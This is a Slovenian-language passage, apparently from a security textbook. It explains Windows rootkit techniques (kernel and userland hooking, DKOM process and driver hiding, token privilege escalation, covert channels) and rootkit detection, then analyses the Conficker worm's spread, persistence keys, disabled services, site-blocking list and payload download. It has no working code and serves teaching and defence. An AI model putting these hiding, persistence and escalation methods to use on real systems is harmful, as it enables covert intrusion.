Briefings, 2005 SKAPE, TURKULAINEN, Jarkko: Remote Library Injection, http://www.nologin.org, 2008 DRUID: Context-keyed Payload Encoding, Computer Academic Underground, 2007 Yingbo Song, Michael E. Locasto, Angelos Stavrou, Angelos D. Keromytis, Salvatore J. Stolfo: On the Infeasibility of Modeling Polymorphic Shellcode for Signature Detection, Department of Computer Science, Columbia University, 2006 SHAH, Saumil: Writing Metasploit Plugins from Vulnerability to Exploit, Xcon 2006 METASPLOIT: http://www.metasploit.com/, 2008 6 ROOTKITI IN OKNA 6.1 Uvod (kaj je rootkit in čemu služi ) Rootkiti so namenjeni predvsem skrivanju podatkov, procesov, registry vnosov, gonilnikov ter rootkitov samih, nevidnemu oddaljenemu nadzoru nad računalniki, zbiranju podatkov z njih, neopaznemu omrežnemu prenosu podatkov z računalnika, na katerem je rootkit. Rootkiti so lahko koristni, za zaščito pred piratskim kopiranjem, za organe pregona pri zbiranju informacij in dokazov, za državne obveščevalne službe, za informacijsko bojevanje v primeru vojne... Največkrat pa so žal škodljivi, v rokah hekerjev, kriminalnih združb, za industrijsko vohunjenje, izsiljevanje, krajo identitete, prikrivanje vdorov, spam pošto... Glede na to, v katerem okolju delujejo, poznamo več vrst rootkitov : - Rootkite, ki delujejo v strojni opremi (firmware) - Virtualizirane rootkite, ki se naložijo pred operacijskim sistemom in/ali navideznim računalnikom (virtual machine) ter prestrezajo sistemske klice do strojne opreme - Rootkite, ki delujejo v jedru operacijskega sistema (kernel rootkit) - Rootkite, ki so vstavljeni v sistemske knjižnice - Rootkite na nivoju uporabniških aplikacij. Osredotočili se bomo predvsem na rootkite, ki delujejo v jedru operacijskega sistema in rootkite na nivoju uporabniških aplikacij (ki so tudi najpogostejši). Rootkit za jedro Oken se sestavi kot gonilnik, njegova prava funkcionalnost pa je (kot smo rekli) skrivanje hekerjeve prisotnosti na sistemu pred legalnim uporabnikom. Mogoče jih je izdelati, kot nov gonilnik ali pa ustrezno prilagoditi obstoječe. Nove gonilnike je v splošnem mogoče vključiti v jedro in jih iz njih izločiti. Hekerji jih običajno le vključijo in onemogočijo možnost izločitve iz jedra (saj bi legalni uporabnik v tem primeru, odstranil rootkit na zelo enostaven način). Pri razvoju rootkita, pa je možnost izločanja smiselna . Rootkite je običajno mogoče tudi konfigurirati, to je podati razne nastavitve, na primer s katerim IP naslovom in vrati se naj poveže. Te nastavitve se običajno hranijo v majhni datoteki, ki je ali nekje na datotečnem sistemu samostojno (kjer jo legalni uporabniki lahko odkrijejo), lahko pa jo nato dodamo, kot podatkovni tok (ADS - Alternate Data Stream) drugi datoteki ali direktoriju. Vsi operacijski sistemi Okna z datotečnim sistemom NTFS, vse do Viste, teh tokov niso prikazali, ne v Raziskovalcu, ne z ukazom DIR. Še več, tudi velikost datoteke s "prilepljenim" podatkovnim tokom (drugo datoteko) je ostala nespremenjena . 6.2 Instalacija jedrnega rootkita sestavljenega v obliki samostojnega gonilnika Medtem, ko se uporabniški programi naložijo in poženejo hkrati, se gonilniki (in rootkiti) najprej naložijo in potem poženejo, torej v dveh korakih. Običajni rootkit v »produkciji«, se naloži skupaj z operacijskim sistemom in nima možnosti sprostitve (unload), med razvojem pa je to praksa (kot smo dejali v uvodu) . Rootkit je mogoče naložiti z vnosom v Upravitelja storitev (Service Control Manager), nakar ga je mogoče pognati z: net start Rootkit_gonilnik in ustaviti z: net stop Rootkit_gonilnik. Slabost takšnega načina nalaganja, je to, da v Registry-ju nastanejo z njim povezani ključi. Če tak ključ brišemo, se rootkit ob naslednjem zagonu, ne namesti več (torej se ga tudi v tem primeru da enostavno odstraniti). Druga možnost instalacije je, da s funkcijo ZwSetSystemInformation in SystemLoadAndCallImage naredimo izvršilni program, ki ga poženemo ob startu računalnika Jedrni rootkit v obliki gonilnika, lahko naredimo trajnega (Persistent) oziroma vedno prisotnega z vnosom ključa HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services v Registry . 6.3 Skrivanje rootkit gonilnikov Ko se rootkit požene, skrije najprej sebe, tako da se izloči iz seznama trenutno aktivnih gonilnikov. Orodje, kot je drivers.exe, ga ne prikaže, kljub temu deluje, saj jedro uporablja drug seznam za dodeljevanje procesorskega časa gonilnikom . Glej Sliko 1. Flink Flink Flink Blink Blink Blink Gonilnik n-1 Gonilnik n Gonilnik n+1 (Rootkit) Slika 1: Izločitev gonilnika – rootkita iz seznama aktivnih gonilnikov 6.4 Zmogljivosti rootkit gonilnika Ko je rootkit gonilnik enkrat v jedru operacijskega sistema, so mu tam na razpolago vse strukture in vse druge funkcije. Posebej zanimive so razne tabele, kot so: System Call Table (Microsoft jo imenuje System Service Table (SST) ali tudi Service Descriptor Table), Global Descriptor Table (GDT), Local Descriptor Table (LDT), Interrupt Descriptor Table (IDT) in druge. Tabela SST vsebuje kazalce na različne funkcije v jedru. Te nizkonivojske funkcije izvajajo različne, pomembne, osnovne operacije. Ko uporabniški program potrebuje, katero od teh funkcij, z ustrezno vrednostjo preko ukaza SYSENTER (v starejših verzijah Oken s prekinitvijo 2E in ne s SYSENTER) kliče tabelo SST in na osnovi vrednosti, izbere želeno funkcijo . Tabela IDT, ki vsebuje do 256 vrednosti, omogoča sistemu, da na njihovi podlagi najde funkcije, ki obdelajo, vsako sproženo programsko oziroma strojno prekinitev. 6.5 Hooking Hooking je ena od tehnik, s katero spremenimo delovanje operacijskega sistema in programov v njem . 6.5.1 Hooking na nivoju jedra (Kernel Hooking) 6.5.2 Hooking tabele SST Najpogostejši Hooking jedra se izvede s spremembami kazalcev na funkcije jedra v SST. Če je rootkit v jedru, lahko z njim originalni kazalec, na originalno funkcijo, spremenimo originalni kazalec tako, da kaže na našo, podtaknjeno funkcijo. V tej funkciji lahko storimo karkoli, na primer, legalnemu uporabniku naredimo nevidne dele datotečnega sistema, nekatere procese itd. Dele datotečnega sistema naredimo nevidne tako, da naša funkcija kliče originalno funkcijo, za vračanje objektov datotečnega sistema, potem pa izbrane objekte preskoči in jih ne posreduje iz jedra k uporabniku in jih ta v Raziskovalcu ali z ukazom dir ne bo videl. Tudi skrivanje procesov poteka skoraj isto, gre le za drugo funkcijo (ZwQuerySystemInformation) v SST, z njenim hookingom dosežemo, da Task Manager ne prikaže izbranih procesov. Začenši z Okni XP in Server 2003, je tabela SST zaklenjena za pisanje (spreminjanje), vendar je to mogoče zaobiti . 6.5.3 Hooking tabele IDT Tabela IDT je bila včasih tudi posrednik, v primerih ko je uporabniški proces potreboval funkcijo v jedru. Prožila se je prekinitev 0x2E, ki jo je IDT usmerila na tabelo SST, ta pa jo je, nato usmerila na ustrezno funkcijo. Če v tabeli IDT spremenimo ustrezen naslov, bo servisiranje sprožene prekinitve, prevzela druga funkcija in ne originalna . Pogost prijem je, da rootkit ustvari svojo IDT, ki je programi za odkrivanje rootkitov, ne najdejo. Hooking IDT tabele pa ne omogoča filtriranja podatkov (to je, da nekaterih rezultatov nebi vrnili), ker se izvajanje, ne vrne nazaj v podtaknjeno funkcijo. Pri hooking-u SST namreč podtaknjena funkcija kliče originalno, ta ji nato vrne podatke, podtaknjena funkcija pa nekatere izloči (kot smo rekli v Hooking tabele SST). 6.5.4 Hooking SYSENTER Novejše verzije Oken za klic v jedro ne uporabljajo več prekinitve 0x2E in tabele IDT, temveč uporabljajo ukaz mikroprocesorja SYSENTER. Pred tem ukazom se v register EAX shrani vrednost, ki identificira ustrezno storitev, v register EDX pa trenutni kazalec sklada. SYSENTER usmeri izvajanje na naslov, ki je podan v registru IA32_SYSENTER_EIP. V ta register je mogoče s kodo na nivoju jedra pisati in brati, zato lahko namesto pristnega vanj vpišemo svoj naslov . 6.5.5 Hooking na uporabniškem nivoju (Userland Hooking) Tudi s hooking-om na uporabniškem nivoju lahko skrivamo objekte datotečnega sistema, procese, omrežna vrata (porte) itd. Deluje tako, da v uporabniškem programu zamenjamo funkcije, uvožene iz dinamičnih knjižnic, s prirejenimi oziroma trojanskimi. Obstajata dve različici takega hookinga (imenujemo ga tudi API hooking). Pri prvem enostavnejšemu v IAT tabeli (Import Address Table) aplikacije prepišemo ustrezne naslove, da kažejo na naše funkcije. Druga možnost je inline function hooking. Pri tem pristopu modificiramo klicano funkcijo samo. Ta način je poznan tudi kot hot patching, ki ga uporablja Microsoft sam, za nameščanje popravkov, brez ponovnega zagona operacijskega sistema . Rootkit kodo lahko vstavimo v programe na uporabniškem nivoju na tri načine. Prvi način uporablja vnose v Registry na ustrezna mesta. Drugi način uporablja funkcijo SetWindowsHookEx. Tretji način za vbrizganje DLL knjižnic, pa je uporaba oddaljenih niti (Remote Threads) . 6.5.6 Hooking na uporabniškem nivoju s tabelo IAT Če uporabniški program zahteva funkcije iz druge binarne datoteke, to praviloma stori tako, da hrani naslov take funkcije v tabeli IAT (Import Address Table). V okviru procesiranja teh naslovov je mogoče podtakniti prirejene funkcije. Problema tega pristopa sta enostavno odkrivanje (ki pa ga je mogoče odpraviti s hibridnim hookingom) ter problemi pri poznih zahtevah po povezovanju (late-demand binding) uvoženih funkcij. Lahko se zgodi, da v času, ko se izvede hooking, v tabeli IAT ni naslova želene funkcije . 6.5.7 Inline Function Hooking Pri tem načinu hooking-a na uporabniškem nivoju uvoženo funkcijo fizično spremenimo, ne samo zamenjamo z drugo. Program mora shraniti prvi ukaz v klicani funkciji in jo zamenjati z instrukcijo za brezpogojni skok (Jump) na vstavljeno kodo. Tako se znotraj originalnega uporabnikovega programa izvede vstavljena aplikacija. Ko se ta aplikacija zaključi, se izvajanje nadaljuje z ukazom, ki smo ga na začetku shranili (in prepisali) ter nadaljuje v originalni funkciji, s skokom nazaj na njo (na mesto naslednjega ukaza). Po koncu se programski tok povrne v uporabniški program, ne da bi uporabnik vedel, da se je zgodilo nekaj na skrivaj (temu se reče tudi »odskočna« koda – trampoline). Ta način nima slabosti omenjenih pri hooking-u tabele IAT . 6.5.8 Hibridni hooking Ker je hooking na uporabniškem nivoju lahko odkriti, hooking na nivoju jedra pa je kompliciran za implementacijo, ju združimo tako, da v uporabniški nivo, kjer imamo na razpolago visokonivojske funkcije, vključimo zahtevno funkcionalnost, v jedru pa take funkcije samo skrijemo. Primer takega hibridnega hookinga je vstavljanje izvedeno preko Kernel Hooking-a funkcije ZwMapViewOfSection, s katero se v uporabniški program shranijo dinamične knjižnice. Funkcije v teh knjižnicah nato priredimo tako, da dodamo še svojo kodo s katero od metod hookinga na uporabniškem nivoju . 6.6 Neposredna manipulacija z objekti v jedru Problem nevidnosti datotek, procesov, portov, itd. z uporabo hookinga je v tem, da jih je (relativno) lahko odkriti, če forenzik ve, kje iskati. Jedro bo z novimi operacijskimi sistemi, tudi vedno bolj zaščiteno, ključne pomnilniške strani bo mogoče le brati, tako da ta pristop lahko postane neuporaben. Zaradi tega tehnika neposredne manipulacije objektov jedra postaja vedno bolj pomembna, posebej ker jo je zelo težko odkriti. Njeni najpomembnejši pomanjkljivosti sta, da je zelo občutljiva in da z njo ni mogoče skrivati objektov datotečnega sistema (t.j. direktorijev in datotek). Pogoj je tudi dobro poznavanje jedra operacijskega sistema (ki se spreminja z vsako novo različico, celo z vsakim paketom popravkov) . Pri neposredni manipulaciji z objekti v jedru (DKOM - Direct Kernel Object Manipulation) izvajamo neposredni napad na podatke, ki so del procesov, gonilnikov, mrežnih povezav, povečamo lahko pravice procesov, preslepimo forenzike, itd. Operacijski sistemi hranijo podatke potrebne za upravljanje v pomnilniku in jih je mogoče neposredno spremeniti ter ne potrebujemo hookinga. 6.7 Skrivanje procesov z DKOM V jedru Oken različic NT se nahaja dvosmerno povezan seznam struktur EPROCESS, ki hranijo podatke aktivnih procesov. Programi na uporabniškem nivoju (kot je taskmgr.exe) obhodijo ta seznam in prikažejo procese, ki so v njem. Če hočemo, katerega od teh procesov skriti, ga preprosto izločimo iz seznama . Da pridemo do strukture EPROCESS procesa, ki ga hočemo skriti, najprej uporabimo funkcijo PsGetCurrentProcess (ki je psevdonim za IoGetCurrentProcess), nato pa se od tam sprehajamo po seznamu, dokler ne pridemo do želenega procesa. Proces najdemo s pomočjo oznake PID (Process IDentifier), kar pa ni vedno uporabno, ker je vrednost PID psevdo-naključna. Zato uporabljamo tudi iskanje po imenu, ki pa ni vedno unikatno, unikaten je le aktualen PID. Proces skrijemo s tem, da njegova kazalca FLINK (Forward LINK – kazalec naprej – na naslednji proces) in BLINK (Backward LINK – kazalec nazaj – na predhodni proces v seznamu), spremenimo tako, da kažeta sama nase . 6.8 Skrivanje gonilnikov z DKOM Z DKOM metodo lahko skrijemo tudi izbrane gonilnike (npr. rootkite), ki jih drugače prikažeta že omenjeno orodje drivers.exe in Device Manager. Pri tem je najtežje odkriti ciljni gonilnik, ker je to težje, kot iskanje strukture EPROCESS pri procesih. Prva metoda je bilo iskanje po pomnilniku z ustreznim »odtisom« (signature) gonilnika, kar pa ni učinkovito, posebej ker se spreminja z vsako različico OS. Druga možnost (ki jo lahko uporabimo v primeru, če je gonilnik naložen s Service Control Manager-jem – SCM) deluje z uporabo orodja WinDbg, ker lahko z njim vidimo polja v strukturi DRIVER_OBJECT. Med njimi je tudi kazalec na gonilnikovo strukturo MODULE_ENTRY, ki se nahaja v dvosmernem seznamu aktivnih gonilnikov. Od Oken XP naprej, je to iskanje malo lažje, ker je na razpolago KPRCB (Kernel Processor Control Block), v katerem dobimo tudi informacije povezane s seznamom gonilnikov. Ko s katerim od teh načinov najdemo želen gonilnik, ga izločimo enako, kot kadar z metodo DKOM skrivamo procese . 6.9 Dvigovanje pravic procesov Z DKOM je mogoče procesu tudi povečati pravice in dodajati SID-e (Security IDentifier – varnostni označevalec). Pravice procesa spremenimo tako, da spremenimo žeton procesa (Process Token). Uporabljamo funkcije, kot so: OpenProcessToken(), AdjustTokenPrivilege(), AdjustGroupPrivileges() in druge. Imeti moramo ustrezne pravice: TOKEN_ADJUST_PRIVILEGES, TOKEN_ADJUST_GROUPS... Z DKOM te pravice spremenimo neposredno, tako da v strukturi EPROCESS odkrijemo naslov pripadajočega žetona in ga modificiramo . Žetona samega ni tako težko odkriti, težje je njegovo spreminjanje, ker vsak žeton poleg statičnega dela, vsebuje tudi dinamični del, ki ni tako predvidljiv. Prav v njem pa so varnostni označevalci in njihove pripadajoče pravice. V žetonu je potrebno odkriti mesto v katerem sta shranjena naslov in velikost spremenljivega dela žetona. Pri spreminjanju pravic velja, da je najbolje omogočiti pravice, ki so že vsebovane, a onemogočene. Tako ostane velikost nespremenjena. Vedno kadar velikost spremenimo, ne vemo ali ne bomo česa »povozili« in sesuli operacijski sistem . 6.10 Skriti kanali (COVERT CHANNELS) Od rootkita običajno pričakujemo možnost komunikacije z njegovim »lastnikom«, ki je v splošnem nekje v medmrežju. Komunikacija mora biti neopazna, sicer bo legalni uporabnik sprožil alarm. Za neopazno komunikacijo uprabljamo predvsem naslednji dve metodi: razne oblike steganografije in šifriranje (pa tudi kombinacija obeh). Pomembno je tudi, da ni nenadnih intenzivnih porastov omrežnega prometa, komunikacija mora biti čimbolj integrirana v običajni promet. Nadalje je dobro, da je zamaskirana v pogoste vrste storitev, kot so: e-mail protokol (SMTP), spletni protokol (HTTP) in imenski protokol (DNS) . Steganografija ima že zelo dolgo tradicijo. Gre za to, da se v večjem »nedolžnem« sporočilu skriva manjše, ki pa predstavlja bistveno, tajno sporočilo. Primer enostavne steganografije je Prešernov Sonetni venec, pesnitev, katere začetne črke tvorijo ime in priimek njegove ljubezni (to je Primičeve Julije). Skrivno sporočilo lahko vgradimo praktično v vsak nosilec informacij, naj si bo to besedilo, številke, slike ali kaj drugega. Pri rootkitih nas zanimajo tudi razne omrežne možnosti, kot so kreiranje lažnega MAC (Media Access Control) naslova, ponarejeni izvorni naslov IP, ponarejena izvorna vrata (Source Port Number), pošiljanje poljubnih TCP in UDP paketov ter neopazno prisluškovanje omrežnemu prometu (sniffing) . Kot v večini omrežnega prometa tudi pri rootkitih uporabljamo predvsem protokol TCP/IP. Delovati hočemo čimbolj nizko, ker nam to nudi največ moči in neopaznosti. Zato z omrežnim prometom praviloma delujemo v »surovem« načinu (Raw Network Manipulation). V Oknih te možnosti na uporabniškem nivoju dolgo ni bilo, nato pa se je, še preveč uporabljala – v raznih omrežnih črvih. V Oknih XP SP2 je zato na surov način, mogoče tvoriti le UDP pakete in obenem ni mogoče ponarediti izvornega naslova (Source Address) . Z ustreznim gonilnikom na nivoju jedra operacijskega sistema je seveda vse to mogoče, večji problem je velika zapletenost, ker je potrebno skoraj vse sprogramirati iz osnov ter paziti, da ne pokvarimo jedra (Blue Screen of Death). K sreči je Microsoft za delo s TCP/IP v jedru, pripravil vmesnika TDI (Transport Data Interface) in NDIS (Network Data Interface Specification). Pri uporabi TDI ni toliko programiranja, ker uporabljamo obstoječ TCP/IP sklad, medtem ko moramo pri NDIS, zanj poskrbet sami . NDIS je toliko zmogljiv, da lahko z njim celo emuliramo novega gostitelja v omrežju, saj lahko tvorimo IP, MAC, uredimo ARP povezavo med IP in MAC naslovoma ter IP prehodom (IP Gateway). 6.11 Zaščita pred rootkiti Najbolje je seveda, če se napadalec sploh ne prikoplje do administratorskega računa. Če pa mu je to uspelo, ga lahko (malo) oviramo ali ujamemo, pri nalaganju. Če pa mu uspe tudi to, imamo pogosto še vedno možnost, da ga odkrijemo (tudi v jedru). Za zaščito je najpomembnejše, da varnostno programsko opremo namestimo, preden napadalec uspe namestiti zlonamerno (to je v našem primeru rootkit v jedro) . V tem primeru se lahko zavarujemo že s programom Tripwire (ki preverja ali se je katera od pomembnih datotek spremenila). Narediti moramo sliko diska (image) neokuženega računalnika in jo shraniti. V nadaljevanju na drugem računalniku primerjamo shranjeno sliko diska s trenutno. Če se med seboj razlikujeta, je lahko vzrok tudi rootkit . Pri odkrivanju že nameščenih rootkitov sta glavna načina detekcije, detektiranje rootkita samega in detektiranje obnašanja, ki kaže značilnosti rootkita . Detekcijo rootkitov poleg že omenjenega programa Tripwire omogoča tudi več drugih orodij. Pri zaznavanju obnašanja, ki kaže na prisotnost rootkita, je najpomembnejša tehnika, s katero operacijski sistem ujamemo pri laži. Če npr. pri testu API klica dobimo nazaj podatke za katere vemo, da so napačni, lahko sklepamo na rootkit. 6.12 Zaznavanje rootkitov Eden način odkrivanja rootkitov je kar ta, da jih opazimo, že pri nameščanju. Problem je v tem, da je teh možnih načinov preveč, da bi lahko vse pokrili. Program, ki to uporablja je (bil) Integrity Protection Driver od Pedestal Software. Drug način je občasno preverjanje (scanning) pomnilnika, tako da morebitne rootkite odkrijemo s pomočjo podpisov (signature) rootkitov . Problem pri tem je, da moramo rootkit poznati že predtem. Nadaljni način zaznave je iskanje hookov v podatkovnih strukturah jedra in procesov. Tako med drugim iščemo po: System Service Table (SST), Interrupt Descriptor Table (IDT), Import Address Table (IAT), gonilnikovem I/O Request Packet Handler (IRP), Inline function hooke itd. . 6.13 Zaznavanje nenavadnega obnašanja Primer takšnega anti-rootkita je program RootkitRevealer, ki odkriva skrite datoteke in registry ključe. To naredi tako, da najprej na zelo nizkem nivoju preišče podatkovne strukture registryja oziroma datotečni sistem, nato pa iskanje ponovi na običajnem, uporabniškem nivoju. Če se rezultat razlikuje, domnevamo, da gre za rootkit . Na podoben način je mogoče tudi odkriti z rootkiti skrite procese in to ne samo skrite s hookingom temveč tudi z DKOM. To lahko storimo s hookingom funkcije SwapContext, s katero preklopimo nit, ki se trenutno izvaja s tisto, ki je naslednja. Preko tega najdemo vse procese, ki se izvajajo. Zatem obhodimo še dvosmerni seznam EPROCESS struktur. Če v tem seznamu ni vseh procesov odkritih s hookingom funkcije SwapContext, sklepamo na rootkit . 6.14 Sklep Rootkiti so eden najbolj perečih varnostnih problemov, saj je drugače (če ni uspel namestiti rootkita) napadalcu relativno lahko preprečiti nadaljnji dostop do računalnika oziroma odstraniti vdor (poženemo antivirusni program, zamenjamo gesla, namestimo popravke). Če pa je v računalniku rootkit, je največji problem to, da običajno niti ne vemo, da imamo na računalniku nepovabljenega gosta. Poleg tega je rootkit težko odstraniti, ponavadi formatiramo disk (kar pa še ni garancija, da smo rootkit odstranili, ker je lahko zapisan v firmware-u računalnika) ter naložimo varnostno kopijo, če vemo, da je »čista«. Težja inačica je, da shranimo podatke (ne programov!) ter vse na novo namestimo, na isti, ali še boljše, na novi računalnik. Dobra novica je, da so novejši operacijski sistemi in strojna oprema vedno bolj odporni na rootkite in druge varnostne grožnje. Tako na primer za Visto zaenkrat obstaja samo en znan rootkit (VBOOTKIT), ki pa zahteva fizični dostop do računalnika. Obstajal je še eden, ki pa je bil odpravljen, še pred začetkom distribucije. Vprašanje pa je, ali nima računalniško podzemlje, že kakšnega, pa ga drži v strogi zaupnosti. Vprašanje je tudi ali nimata Microsoft in ameriška administracija kakšnega, glede na to, da je javno znano, da so pri razvoju Viste sodelovali strokovnjaki iz NSA. 6.15 Viri in Literatura VIELER, Ric: Professional Rootkits, Monografija, Wiley Publishing inc., 2007 HOGLUND, Greg, McGRAW, Gary: Exploiting Software, How to Break Code, Addison-Wesley, 2004 HOGLUND, Greg, BUTLER, James: Subverting the Windows Kernel: Rootkits, Addison-Wesley, 2005 http://www.rootkit.com/ , 2007 7 Analiza črva conficker 7.1 Uvod Črv Conficker spada med viruse, ki so okužili največ računalniških sistemov vključenih v medmrežje doslej. Ocenjujejo, da je bilo na njegovem vrhuncu pomladi 2009 z njim okuženih več kot 12 milijonov računalnikov po vsem svetu (razen v Ukrajini) . Novembra 2009 je bilo okuženih še vedno vsaj 7 milijonov. Zanimivo je, da avtor(ji) ne izkorišča zmožnosti nastalega botnet-a. Edina znana materialna korist, ki jo je pridobil izvira iz prodaje produkta SpywareProtect2009, ki ga (je) virus prikaže na monitorju okuženega računalnika. Šlo bi naj za varnostni program, ki pa, potem ko je plačan ne služi ničemur - spada med tako imenovane scareware programe . Špekulira se, da se je avtor ustrašil svojega lastnega uspeha. Verjetno tudi ni v navezi s pravimi kriminalci, saj bi bil njim tak botnet prava zlata jama in bi ga »pridno« uporabljali. Kakorkoli, povzročil je ogromno materialno škodo, Microsoft je za njegovo prijetje razpisal 250 000 $ nagrade in če bo aretiran, ga čaka dolgoletna zaporna kazen. Conficker obstaja v petih različicah. Čeprav v njem ni nobene nove tehnike, pa vključuje praktično vse obstoječe, kar pomeni, da ima avtor (če jih ni več) izredno računalniško znanje. Začelo se je septembra 2008, ko so kitajski hekerji odkrili ranljivost na Microsoftovem omrežju (ki omogoča deljenje datotek in tiskalnikov med računalniki z Okni - konkretno na TCP vratih 445) (in ga prodajali za 37 dolarjev). Microsoft je reagiral 23.oktobra 2008 s posodobitvijo in jo objavil s Security Bulletin MS08-067 (kritična ranljivost v Server Service (Could Allow Remote Code Execution (958644))). Ker pa mnogi še vedno ne nameščajo popravkov, se je razširil, tako kot se je. 7.2 Zgodovina in osnovne značilnosti Na osnovi MS08-067 je nastala prva različica Conficker-ja (poimenovana Conficker.A (različni izdelovalci antivirusnih programov imenujejo različice Confickerja po svoje)) in okužila znatno število takšnih sistemov. Odkrili so jo šele 21.novembra 2008. Ta različica se je dala še relativno lahko odstraniti. Branila se je samo s System Restore in se posodabljala preko generiranja 250-tih URLjev dnevno. Vendar razvijalci niso spali na lovorikah, ampak hiteli z delom. Tako je nastala različica označena s Conficker.B. Ta je bila že precej naprednejša: poleg funkcij iz A, vsebuje še blokiranje spletnih mest z varnostnimi programi (antivirus ...), spremeni nastavitve sistema, ubija sistemske storitve (System Service), kot so (Seznam 1):  Windows Update Service (wuauserv)  Background Intelligent Transfer Service (BITS)  Windows Defender (WinDefend)  Windows Error Reporting Services (wersvc)  Error Reporting Service (ersvc)  Windows Security Center Service (wscsvc) Seznam 1: Sistemske storitve, ki jih Conficker z različico B in nadaljnji onemogoči Uporablja torej več metod samozaščite, težje jo je odkriti in odstraniti. Širi pa se tudi preko deljenih map z enostavnimi gesli, USB ključev in diskov. Prvič so jo odkrili 29.decembra 2008 . Že 20.februarja 2009 je bila odkrita naslednja različica Conficker-ja v splošnem označena s C (včasih tudi z B++). Ta se širi enako, kot B, vendar ima dodatno možnost posodabljanja, sprejemanja ukazov, preko komunikacije enak z enakim (peer-to-peer). Preverja tudi avtentičnost in veljavnost vsebin, ki jih prejema . Naslednja različica označena z D, se je pojavila 4.marca 2009. Pri tej različici je enota za širjenje odstranjena, črv se več ne širi. Zato pa sta še izboljšana posodabljanje in samozaščita (različici A in B imata poudarek na širjenju črva, kasnejše pa na utrjevanju prisotnosti). To različico je še težje odkriti in odstraniti, kot C. Posodabljanje Confickerja D na ukaz Gospodarja bota (Bot Master) poteka preko generiranja 50 000 URL-jev vsak dan, vendar pa jih preveri le 500 . Zadnja različica Conficker-ja, z oznako E (odkrili so jo 7.aprila 2009), se tako kot D več ne širi. Še bolj ščiti sebe, kar pa je zanimivo, je da se 3.maja 2009 sama odstrani (vendar ostane obstoječa kopija Confickerja D). 7.3 Različica Conficker.A Računalnik se okuži preko posebej prirejenega RPC (Remote Procedure Call) klica preko vrat 445 TCP, se vbrizga (inject) v services.exe ter se kopira v sistemsko mapo Oken, kot dinamična kjižnica (.dll) pod naključno izbranim 5-8 znakov dolgim imenom (npr. drpjxs.dll). Nato ji, zato, da ne bi bilo mogoče opaziti, da je bila vpisana šele nedavno, črv spremeni sistemski čas te datoteke na istega, kot ga ima knjižnica kernel32.dll. Zatem črv spremeni Registry, tako, da jo zavede, kot storitev (service): - Doda vrednost: 'DisplayName' s podatkom '0' k podključu: HKLM\SYSTEM\CurrentControlSet\dsvrtip - Doda vrednost: 'ServiceDll' s podatkom '\drpjxs.dll' k podključu: HKLM\SYSTEM\ControlSet001\dsvrtip\Parameters Potem, ko je računalnik okužen, črv varnostno luknjo, preko katere je okužil računalnik, zakrpa (patch) s preprostim kaveljčkom (code hook), da ne pride do ponovne okužbe. Črv se širi tako, da naključno generira IP naslove in jih skuša »obiskati«. Če se na takem naslovu nahaja računalnik z Okni, skuša okužiti svchost.exe (Windows Server service). To mu uspe, če operacijski sistem na dotičnem računalniku ni posodobljen. Črv nato na okuženem računalniku ustvari majhen http strežnik na naključnih vratih med 1024 in 10000, s katerim naloži modul s črvom. S pomočjo API-jev zaobide požarni zid in ustavi storitev za deljenje medmrežne povezave (Internet Connection Sharing Service). Če je datum po 25.novembru 2008, tvori URL (Uniform Resource Locator) v obliki: /search?q=%d&aq=7 in iz njega poskuša sneti (download) datoteko. Če je datum novejši od 1.decembra 2008, skuša sneti datoteko 'loadadv.exe', z domene trafficconverter.biz' . 7.4 Različica Conficker.B Simptomi okužbe s to različico so: 1. nekateri uporabniški računi se zaklepajo (uporabniki se ne morejo prijaviti), ker črv spremeni ključ HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters na 'TcpNumConnections' = '0x00FFFFFE' - torej na zelo veliko število povezav in poplavijo omrežje. 2. Storitve s Seznama 1, so onemogočene ali ne delujejo 3. Uporabniki se ne morejo povezati na spletna mesta, ki vsebujejo nize znakov, kot so (Seznam 2): virus norton computerassociates spyware mcafee f-secure malware trendmicro kaspersky rootkit sophos jotti defender panda f-prot microsoft etrust nod32 symantec networkassociates eset grisoft ... drweb Seznam 2: Vsebovani podnizi, ki blokirajo spletna mesta, ki vsebujejo katerega od njih Širi se enako, kot A preko neposodobljenega programa svchost.exe, pa še dodatno, preko izmenljivih pogonov in preko šibkih gesel. Skuša se kopirat v sistemsko mapo, kot skrita dll datoteka. Če se ne uspe skopirat v to mapo, se poskuša ali v %ProgramFiles%\Internet Explorer, ali pa v %ProgramFiles%\Movie Maker. Zato da se ob zagonu računalnika virus ponovno aktivira, se doda ključ v Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run s podatki: Vrednost: '' Podatki: 'rundll32.exe \.dll, ' Pravtako je mogoče, da se sproži, ko program svchost.exe naloži grupo netsvcs. Nadalje je mogoče, da se naloži, kot lažna storitev (service), registrirana v Registry-ju pod: HKLM\System\CurrentControlSet\Services pod naključnim imenom, ali pa sestavljena iz dveh nizov, iz Seznama 3: Boot Manager Support Center Microsoft System Config Monitor Task Driver Network Time Helper Security Universal Image Server Update Installer Shell Windows Seznam 3: Pari nizov vsebovani v imenu lažne storitve Kot smo rekli se različica B širi tudi preko šibkih gesel. Najprej se skuša skopirati v ADMIN$ deljeni imenik, s trenutnimi privilegiji. Če to ne uspe, popiše uporabniška imena na ciljnem računalniku in se skuša prijaviti z gesli iz Seznama 4. Če gre, se skopira na administratorsko deljeno mapo ADMIN$\System32\.dll. Nato na na novo vdrtem računalniku ustvari vnos: 'rundll32.exe .dll, ' v sistemskem urniku (Schedule Job) Naslednji način širjenja črva, je širjenje preko preslikanih map in izmenljivih pogonov (Mapped and Removable Drives). Na tak pogon se črv kopira z naključnim imenom v korensko mapo takega pogona, to je RECYCLER: < drive:>\RECYCLER\S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d\.dll pri tem je '%d' naključna črka. Hkrati ustvari tudi ustrezno 'autorun.inf' datoteko, kar kopiji črva omogoči, da se zažene, ko dostopimo do pogona in je Autoplay omogočen. Ta različica spremeni Registry ključ: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWAL L, tako da uporabnik ne more videti skritih (hidden) datotek. Torej tudi črva ne. Nadalje onemogoči Windows Defender, tako da se ob zagonu ne starta. To doseže z brisanjem podatka 'Windows Defender' v ključu HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Črv preveri, če je okužen računalnik povezan v omrežje, tako da skuša dostopiti, do spletnih mest, ki so vedno povezana v medmrežje: aol.com, cnn.com, ebay.com, msn.com, myspace.com. Nato poskrbi za komunikacijo z Gospodarjem bot-a, po 1.januarju 2009 tvori URL-je z naključnimi IP naslovi, tako da združi psevdonaključen niz in eno od naslednjih najvišjih domen (TLD-Top Level Domains): .cc, .cn, 